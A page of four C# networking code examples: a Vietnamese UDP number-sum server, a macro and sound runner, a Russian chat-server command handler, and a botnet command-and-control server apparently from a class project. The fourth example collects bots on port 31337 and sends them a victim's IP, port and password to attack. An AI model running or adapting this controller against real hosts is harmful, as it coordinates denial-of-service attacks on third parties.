コード例 #1
0
        static void Main(string[] args)
        {
            UdpClient         server      = new UdpClient(9050);
            List <IPEndPoint> listclient  = new List <IPEndPoint>();
            List <int[]>      listso      = new List <int[]>();
            List <int>        listsoluong = new List <int>();
            IPEndPoint        client      = new IPEndPoint(IPAddress.Any, 0);

            while (true)
            {
                byte[] data1 = new byte[10];
                data1 = server.Receive(ref client);
                string   so        = Encoding.ASCII.GetString(data1, 0, data1.Length);
                string[] cutnumber = so.Split('_');
                int      a         = int.Parse(cutnumber[0]);
                int      i;

                for (i = 0; i < listclient.Count; i++)
                {
                    if (client.Equals(listclient.ElementAt(i)))
                    {
                        if (listsoluong.ElementAt(i) < 3)
                        {
                            if (cutnumber[1] == "1")
                            {
                                listso[i][0] = a;
                            }
                            if (cutnumber[1] == "2")
                            {
                                listso[i][1] = a;
                            }
                            if (cutnumber[1] == "3")
                            {
                                listso[i][2] = a;
                            }
                            listsoluong[i]++;
                            if (listsoluong[i] != 3)
                            {
                                break;
                            }
                        }

                        if (listsoluong.ElementAt(i) == 3)
                        {
                            string menu = "1.Tong ba so,2.Cac so le co trong ba so,3.Thoat";
                            byte[] data = new byte[10];
                            data = Encoding.ASCII.GetBytes(menu);
                            server.Send(data, data.Length, listclient.ElementAt(i));
                            listsoluong[i]++;
                            break;
                        }
                        if (listsoluong.ElementAt(i) > 3)
                        {
                            if (a == 1)
                            {
                                int    kq    = listso[i][0] + listso[i][1] + listso[i][2];
                                byte[] data3 = new byte[10];
                                data3 = Encoding.ASCII.GetBytes(kq.ToString());
                                server.Send(data3, data3.Length, listclient.ElementAt(i));
                                break;
                            }
                            if (a == 2)
                            {
                                for (int j = 0; j < 3; j++)
                                {
                                    int flag = 0;
                                    if (listso[i][j] % 2 != 0)
                                    {
                                        byte[] data4 = new byte[10];
                                        data4 = Encoding.ASCII.GetBytes(flag.ToString());
                                        server.Send(data4, data4.Length, listclient.ElementAt(i));
                                        byte[] data3 = new byte[10];
                                        data3 = Encoding.ASCII.GetBytes(listso[i][j].ToString());
                                        server.Send(data3, data3.Length, listclient.ElementAt(i));
                                    }
                                    if (j == 2)
                                    {
                                        flag = 1;
                                        byte[] data5 = new byte[10];
                                        data5 = Encoding.ASCII.GetBytes(flag.ToString());
                                        server.Send(data5, data5.Length, listclient.ElementAt(i));
                                        break;
                                    }
                                }
                            }
                            if (a == 3)
                            {
                                break;
                            }

                            break;
                        }
                    }
                }
                if (i == listclient.Count)
                {
                    listclient.Add(client);
                    listsoluong.Add(1);
                    int[] arr = new int[3];
                    if (cutnumber[1] == "1")
                    {
                        arr[0] = a;
                        listso.Add(arr);
                    }
                    if (cutnumber[1] == "2")
                    {
                        arr[1] = a;
                        listso.Add(arr);
                    }
                    if (cutnumber[1] == "3")
                    {
                        arr[2] = a;
                        listso.Add(arr);
                    }
                }
            }
        }
コード例 #2
0
 public static void Run(Execute exe, JObject MacroList, string CalledMacro, string CalledSound, UdpClient newsock, IPEndPoint sender)
 {
     Debug.WriteLine("MacrosProcessing.Run: " + CalledMacro + " " + CalledSound);
     if (CalledMacro != "")
     {
         Debug.WriteLine("IN MACRO");
         string[] tabGivenMacro = CalledMacro.Split('/');
         foreach (JToken section in MacroList["sections"].ToList <JToken>())
         {
             //Debug.WriteLine("section Compare: " + tabGivenMacro[0] + " " + section["name"].Value<string>());
             if (section["name"].Value <string>() == tabGivenMacro[0])
             {
                 //Debug.WriteLine("section data = " + JsonConvert.SerializeObject(section));
                 if (section["macros"].Value <JObject>().ContainsKey(tabGivenMacro[1]) == true)
                 {
                     JObject ob2 = section["macros"][tabGivenMacro[1]].Value <JObject>();
                     if (CalledSound != "")
                     {
                         if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows) == true)
                         {
                             CalledSound = CalledSound.Replace("/", "\\");
                         }
                         ob2["sound"] = Program.soundDir + CalledSound;
                     }
                     string st = JsonConvert.SerializeObject(ob2);
                     //Debug.WriteLine("macro data = " + st);
                     Dictionary <string, object> options = new Dictionary <string, object>()
                     {
                         { "exe", exe },
                         { "macro", ob2 },
                         { "newsock", newsock },
                         { "sender", sender }
                     };
                     if (st.Contains("Sleep") == true && st.Contains("delay") == true)
                     {
                         Thread objThread = new Thread(new ParameterizedThreadStart(RunPart2));
                         //Make the thread as background thread.
                         objThread.IsBackground = true;
                         //Set the Priority of the thread.
                         objThread.Priority = ThreadPriority.AboveNormal;
                         //Start the thread.
                         objThread.Start(options);
                     }
                     else
                     {
                         RunPart2(options);
                     }
                 }
             }
         }
     }
     else
     {
         if (CalledSound != "")
         {
             JObject options = new JObject();
             if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows) == true)
             {
                 CalledSound = CalledSound.Replace("/", "\\");
             }
             options["url"] = Program.soundDir + CalledSound;
             PlaySound(options);
         }
     }
 }
コード例 #3
0
        private static void MessagesClient(object i)//Команды от клиента
        {
            Data.ClientConnectOnly onlyClient = (Data.ClientConnectOnly)i;
            byte[] buffer = new byte[1024];
            int    messi;
            string answer;

            while (true)
            {
                Task.Delay(10).Wait();
linkStartListenCommand:

                try
                {
                    //Пример: %MES:Hello! (Ник мы уже знаем)
                    messi  = onlyClient.ClientSocket.Client.Receive(buffer);
                    answer = Encoding.UTF8.GetString(buffer, 0, messi);
                    WriteLine($"Получена команда {answer} от {onlyClient.Nick}:{onlyClient.ID}",
                              ConsoleColor.Green);
                }
                catch (Exception ex)
                {
                    onlyClient.ClientSocket.Close();
                    Data.ClientsOnlyData.Remove(onlyClient);
                    WriteLine($"Клиент вышел: {ex.Message}", ConsoleColor.Red);
                    return;
                }

                if (answer.Contains("%MES"))//Для общего чата (отправка сообщения)
                {
                    try
                    {
                        Match  regex        = Regex.Match(answer, "%MES:(.*)");
                        string messagesText = regex.Groups[1].Value;

                        //Сама отправка сообщения
                        MessagesMain(messagesText, onlyClient);

                        //Добавление в базу данных
                        Database.AddMessageInMainChat(messagesText, onlyClient.ID);
                    }
                    catch
                    {
                        WriteLine($"Ошибка отправки сообщение в общий чат от {onlyClient.ID}", ConsoleColor.Red);
                        return;
                    }
                }
                else if (answer.Contains("%NCT"))//Новый чат
                {
                    //%NCT:idUser

                    try
                    {
                        Match regex = Regex.Match(answer, "%NCT:(.*)");

                        Database.CreateNewDialog(onlyClient.ID, long.Parse(regex.Groups[1].Value));

                        onlyClient.ClientSocket.Client.Send(Encoding.UTF8.GetBytes("1"));
                        WriteLine("Готово!", ConsoleColor.Green);
                    }
                    catch
                    {
                        WriteLine($"Ошибка при %NCT от {onlyClient.ID}:{onlyClient.Nick}",
                                  ConsoleColor.Red);
                        return;
                    }
                }
                else if (answer.Contains("%MSE"))//Для отдельного чата (отправка)
                {
                    Match regex = Regex.Match(answer, "%MSE:(.*):(.*)");

                    //id чата
                    long idChat = long.Parse(regex.Groups[1].Value);

                    //Сообщение
                    string mess = regex.Groups[2].Value;

                    //Обработка

                    //Есть такой чат?

                    var  set     = (Settings)Data.Settings;
                    bool yesChat = false;
                    foreach (Data.IMessageInfoChat chatInfo in set.MessageInfoChats)
                    {
                        if (chatInfo.ID == idChat)
                        {
                            yesChat = true;
                        }
                    }

                    try
                    {
                        if (!yesChat)
                        {
                            WriteLine($"Есть такой чат! %MSE:{onlyClient.ID}", ConsoleColor.Red);
                        }
                        else
                        {
                            //Сама отправка сообщение
                            //Если клиент онлайн, то отправляем нему что есть новое сообщение

                            //Поиск чата

                            Data.IMessageInfoChat infoChat = new Data.IMessageInfoChat(null);
                            foreach (Data.IMessageInfoChat messageInfo in set.MessageInfoChats)
                            {
                                if (messageInfo.ID == idChat)
                                {
                                    infoChat = messageInfo;
                                }
                            }

                            if (infoChat.NameTable == null)
                            {
                                onlyClient.ClientSocket.Client.Send(Encoding.UTF8.GetBytes("%ERROR:NotHaveChat"));
                                //%ERROR:NotHaveChat Если нет чата
                                goto linkStartListenCommand;
                            }

                            //Обработка данных

                            var id1Mess = new Data.InfoClientMessInfoChat(); //Сам наш клиент
                            var id2Mess = new Data.InfoClientMessInfoChat(); //А это получатель
                            //или подругому)

                            if (infoChat.ID1 == onlyClient.ID)
                            {
                                id1Mess = new Data.InfoClientMessInfoChat(onlyClient.ID, Data.TypeUserInfoMess.Sender);
                                id2Mess = new Data.InfoClientMessInfoChat(infoChat.ID, Data.TypeUserInfoMess.Recipient);
                            }

                            //Анализ клиента

                            //Если клиент онлайн просто присылаем ему сообщение и добавляем в базу данных

                            if (id2Mess.TypeClient == Data.TypeUserInfoMess.Recipient)
                            {
                                if (CheckClientOnly(id2Mess.ID))
                                {
                                    //Добавление в базу данных

                                    //TODO

                                    //Получение socket и отправка

                                    Data.ClientConnectOnly clientId2 = new Data.ClientConnectOnly();

                                    foreach (Data.ClientConnectOnly temp in Data.ClientsOnlyData)
                                    {
                                        if (id2Mess.ID == temp.ID)
                                        {
                                            clientId2 = temp;
                                        }
                                    }

                                    clientId2.ClientSocket.Client.Send(Encoding.UTF8.GetBytes("%NEWMES"));
                                }
                            }
                            else
                            {
                                if (CheckClientOnly(id1Mess.ID))
                                {
                                    //Получение socket

                                    Data.ClientConnectOnly clientId1 = new Data.ClientConnectOnly();

                                    //foreach (Data.ClientConnectOnly temp in Data.ClientConnectOnly)
                                    //{
                                    // Странная ошибка
                                    //}
                                }
                            }
                        }
                    }
                    catch (Exception ex)
                    {
                        WriteLine($"%MSE Ошибка: {ex.Message}", ConsoleColor.Red);
                    }
                }
                else if (answer.Contains("%UPM"))//Отправить последнии сообщение (обновление сообщений) TODO
                {
                    try
                    {
                        Match regex     = Regex.Match(answer, "%UPM:(.*):(.*)");
                        long  idChat    = long.Parse(regex.Groups[1].Value);
                        long  countMess = long.Parse(regex.Groups[2].Value);
                        //id 0 это главный чат

                        for (long Iupm = 0; Iupm < countMess; Iupm++)
                        {
                            //buffer = Encoding.UTF8.GetBytes();
                            //onlyClient.ClientSocket.Client.Send();
                        }

                        WriteLine($"Готово '%UPM' от: {onlyClient.Nick}, {onlyClient.ID}!",
                                  ConsoleColor.Green);
                    }
                    catch (Exception ex)
                    {
                        WriteLine($"Ошибка: {ex.Message}", ConsoleColor.Red);
                        return;
                    }
                }
                else if (answer.Contains("%EXI"))//Выход (отключение)
                {
                    try
                    {
                        onlyClient.ClientSocket.Close();
                        Data.ClientsOnlyData.Remove(onlyClient);
                        return;
                    }
                    catch
                    {
                        onlyClient.ClientSocket.Close();
                        Data.ClientsOnlyData.Remove(onlyClient);
                        WriteLine($"Ошибка клиента при выходе: {onlyClient.ID}:{onlyClient.Nick}", ConsoleColor.Red);
                        return;
                    }
                }
                else if (answer.Contains("%INF"))//Получить информацию о аккаунте
                {
                    try
                    {
                        int idClient = int.Parse(answer.Substring(5));//%INF:{id}

                        Data.ClientConnectOffline client = Database.GetClientInfo(idClient);

                        //INF:{id}:{name}:{status}:{email}

                        if (client.UserAvatar != Data.UserAvatar.Custom)
                        {
                            bool status = CheckClientOnly(client.ID);

                            buffer = Encoding.UTF8.GetBytes($"%INF:{client.ID}:{client.Nick}:{status}:" +
                                                            $"{client.Email}");

                            onlyClient.ClientSocket.Client.Send(buffer);
                        }
                        else
                        {
                            Data.ClientConnectOffline offline = Database.GetClientInfo(idClient);//Проверить!
                            //TODO: Вот тут просто отправлять аватарку
                        }
                        WriteLine($"Команда %INF от {onlyClient.Nick}:{onlyClient.ID} выполнена",
                                  ConsoleColor.Green);
                    }
                    catch
                    {
                        WriteLine($"Ошибка в %INF от {onlyClient.ID}:{onlyClient.Nick}", ConsoleColor.Red);
                        return;
                    }
                }
                else if (answer.Contains("%DEL"))//Удалить аккаунт
                {
                    //Подтверждение (пароль)

                    messi  = onlyClient.ClientSocket.Client.Receive(buffer);
                    answer = Encoding.UTF8.GetString(buffer, 0, messi);

                    //TODO md5

                    //неверный пароль
                    if (answer != onlyClient.Passworld)
                    {
                        onlyClient.ClientSocket.Client.Send(Encoding.UTF8.GetBytes("%ERRPASSWORLD"));
                        goto linkStartListenCommand;
                    }

                    //TODO
                }
                else if (answer.Contains("%SЕM"))//Отправить файл (Сообщение) (( В общий чат ))
                {
                }
                else if (answer.Contains("%UUS"))//Обновление клиентов (только онлайн)
                {
                    try
                    {
                        string stringTemp = $"%UUS:{Data.ClientsOnlyData.Count}:";

                        foreach (Data.ClientConnectOnly client in Data.ClientsOnlyData)
                        {
                            stringTemp += $"{client.Nick};{client.ID}:";
                        }
                        Console.WriteLine(stringTemp);

                        byte[] answerUUS = Encoding.UTF8.GetBytes(stringTemp);
                        //networkStream.Write(answerUUS, 0, answerUUS.Length);
                        onlyClient.ClientSocket.Client.Send(answerUUS);
                    }
                    catch
                    {
                        WriteLine($"Ошибка в %UUS от {onlyClient.ID}:{onlyClient.Nick}", ConsoleColor.Red);
                        return;
                    }
                }
                else if (answer.Contains("%UAT"))//Загрузка (обновление) аватарки клиента
                {
                    //%UAT:typeAvatar:sizeFile
                    Match           regex      = Regex.Match(answer, "%UAT:(.*):(.*)");
                    Data.UserAvatar userAvatar = (Data.UserAvatar) short.Parse(regex.Groups[1].Value);

                    //Обновление аватарки
                    if (File.Exists($@"Avatars\{onlyClient.ID}.png"))
                    {
                        File.Delete($@"Avatars\{onlyClient.ID}.png");
                    }

                    if (userAvatar == Data.UserAvatar.Custom)
                    {
                        /*Инфа о файле
                         * (Максимальный размер 8 мб)*/

                        int sizeFile = int.Parse(regex.Groups[2].Value);

                        //ДЛЯ ПОЛУЧЕНИЕ ФАЙЛОВ ПОРТ 909!!!
                        UdpClient  udpClient = new UdpClient(909, AddressFamily.InterNetwork);
                        IPEndPoint end       = (IPEndPoint)onlyClient.ClientSocket.Client.RemoteEndPoint;

                        //Загрузка файла
                        byte[] bufferFile = udpClient.Receive(ref end);
                        File.WriteAllBytes($@"Avatars\{onlyClient.ID}.png", bufferFile);
                        //TODO: Добавить в базу данных!
                    }
                    else
                    {
                        //TODO:Просто добавить в базу данных!
                    }

                    WriteLine($"Полученена аватарка от {onlyClient.ID}:{onlyClient.Nick}...",
                              ConsoleColor.Yellow);
                }
                else//TODO: Это потом для API!
                {
                    try
                    {
                        //%ERR:CommandIsNot - Такой команды нет
                        onlyClient.ClientSocket.Client.Send(Encoding.UTF8.GetBytes("%ERR:CommandIsNot"));
                        WriteLine("Такой команды нет!", ConsoleColor.Red);
                    }
                    catch
                    {
                        WriteLine("Ошибка при отправке ОШИБКИ CommandIsNot", ConsoleColor.Red);
                        return;
                    }
                }
            }
        }
コード例 #4
0
ファイル: Program.cs プロジェクト: ashr123/hasidicfobia
		public static void Main(string[] args)
		{
			Console.WriteLine("Command and control server d_dos_fobia active");
			UdpClient udpServer = new UdpClient(31337);
			Thread listenThread = new Thread(() =>
			{
				while (true)
				{
					IPEndPoint remoteEP = new IPEndPoint(IPAddress.Any, 31337);
					byte[] data = udpServer.Receive(ref remoteEP); // listen on port 31337
																   //Console.WriteLine(BitConverter.ToInt32(data, 0));
																   //Console.WriteLine("data " + remoteEP.ToString());
					lock (ip_port_bots) ip_port_bots.Add(new IPEndPoint(remoteEP.Address, BitConverter.ToUInt16(data, 0)));
					DisplaySet(ip_port_bots);
					//udpServer.Send(new byte[] { 1 }, 1, remoteEP); // reply back
				}
			});
			listenThread.Start();
			while (true)
			{
				try
				{
					Console.WriteLine("ip?");
					string ip_vic = Console.ReadLine();

					Console.WriteLine("port?");
					int port_vic = Int32.Parse(Console.ReadLine());
					Console.WriteLine("password?");
					string pass_vic = Console.ReadLine();

					byte[] ip_vic_arr = IPAddress.Parse(ip_vic).GetAddressBytes(), //BitConverter.GetBytes((Int32)IPAddress.Parse(ip_vic).Address),
					port_vic_arr = BitConverter.GetBytes((Int16)port_vic),
						pass_vic_arr = Encoding.Default.GetBytes(pass_vic);
					string name = "d_dos_fobia";
					int len = name.Length;
					for (int i = 0; i < 32 - len; i++)
						name = name + "\0";
					byte[] name_vic_arr = Encoding.Default.GetBytes(name);

					byte[] to_send = Combine(ip_vic_arr, port_vic_arr, pass_vic_arr, name_vic_arr);

					Console.WriteLine("attacking victim on IP " + ip_vic + ", port " + port_vic + " with " + ip_port_bots.Count + " bots");
					DisplaySet(ip_port_bots);
					try
					{
						lock (ip_port_bots)
						{
							foreach (IPEndPoint endPoint in ip_port_bots)
							{
								udpServer.Send(to_send, to_send.Length, endPoint); // reply back
							}
						}
					}
					catch (Exception e)
					{
						Console.WriteLine(e.Message);
					}
				}
				catch(Exception e) {
					Console.WriteLine("incorecct input " + e.Message);
				}
			}
		}